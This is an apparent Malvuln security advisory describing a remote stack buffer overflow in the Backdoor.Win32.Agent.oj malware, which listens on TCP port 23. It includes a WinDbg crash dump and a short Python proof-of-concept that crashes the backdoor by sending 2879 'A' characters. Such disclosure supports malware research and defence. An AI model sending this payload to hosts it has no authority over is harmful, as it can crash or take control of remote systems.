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## https://sploitus.com/exploit?id=PACKETSTORM:162400
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/c1e92e04cdb432d83ea2610ef226d4cd.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Agent.oj  
Vulnerability: Remote Stack Buffer Overflow  
Description: The malware listens on TCP port 23. Third-party attackers can send a specially crafted payload, triggering a classic stack buffer overflow overwriting ECX, EIP registers.  
Type: PE32  
MD5: c1e92e04cdb432d83ea2610ef226d4cd  
Vuln ID: MVID-2021-0196  
Dropped files:   
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 04/29/2021  
  
Memory Dump:  
(b18.1c64): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000  
eip=41414141 esp=03151660 ebp=03151680 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
41414141 ?? ???  
  
0:003> .ecxr  
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000  
eip=41414141 esp=03151660 ebp=03151680 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
41414141 ?? ???  
  
0:003> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
*** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe  
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe  
  
FAULTING_IP:   
Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+2255  
00402255 88443418 mov byte ptr [esp+esi+18h],al  
  
EXCEPTION_RECORD: 0324f9f4 -- (.exr 0x324f9f4)  
ExceptionAddress: 00402255 (Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+0x00002255)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000001  
Parameter[1]: 03250000  
Attempt to write to address 03250000  
  
PROCESS_NAME: Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000008  
  
EXCEPTION_PARAMETER2: 41414141  
  
WRITE_ADDRESS: 41414141   
  
FOLLOWUP_IP:   
Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+2255  
00402255 88443418 mov byte ptr [esp+esi+18h],al  
  
FAILED_INSTRUCTION_ADDRESS:   
+2255  
41414141 ?? ???  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
IP_ON_HEAP: 02910b70  
The fault address in not in any loaded module, please check your build's rebase  
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may  
contain the address if it were loaded.  
  
IP_IN_FREE_BLOCK: 41414141  
  
CONTEXT: 0324fa44 -- (.cxr 0x324fa44)  
eax=00000041 ebx=7774e250 ecx=f2b2fa60 edx=0324fdc4 esi=00000144 edi=02910b70  
eip=00402255 esp=0324fea4 ebp=743d1e90 iopl=0 nv up ei pl nz na po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202  
Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+0x2255:  
00402255 88443418 mov byte ptr [esp+esi+18h],al ss:002b:03250000=??  
Resetting default scope  
  
FAULTING_THREAD: ffffffff  
  
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141  
  
LAST_CONTROL_TRANSFER: from 02910b70 to 00402255  
  
FRAME_ONE_INVALID: 1  
  
STACK_TEXT:   
0324fea4 00402255 backdoor_win32_agent_oj+0x2255  
0324fea8 02910b70 unknown!unknown+0x0  
  
  
STACK_COMMAND: .cxr 000000000324FA44 ; kb ; dds 324fea4 ; kb  
  
SYMBOL_STACK_INDEX: 0  
  
SYMBOL_NAME: backdoor_win32_agent_oj+2255  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd  
  
IMAGE_NAME: Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 378468b1  
  
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_agent_oj+2255  
  
  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
PORT=23  
  
def doit():  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
PAYLOADOR="A"*2879  
s.send(PAYLOADOR)  
s.close()  
  
print("Backdoor.Win32.Agent.oj / Remote Stack Buffer Overflow")  
print("MD5: c1e92e04cdb432d83ea2610ef226d4cd")  
print("By Malvuln");  
  
if __name__=="__main__":  
doit()  
  
  
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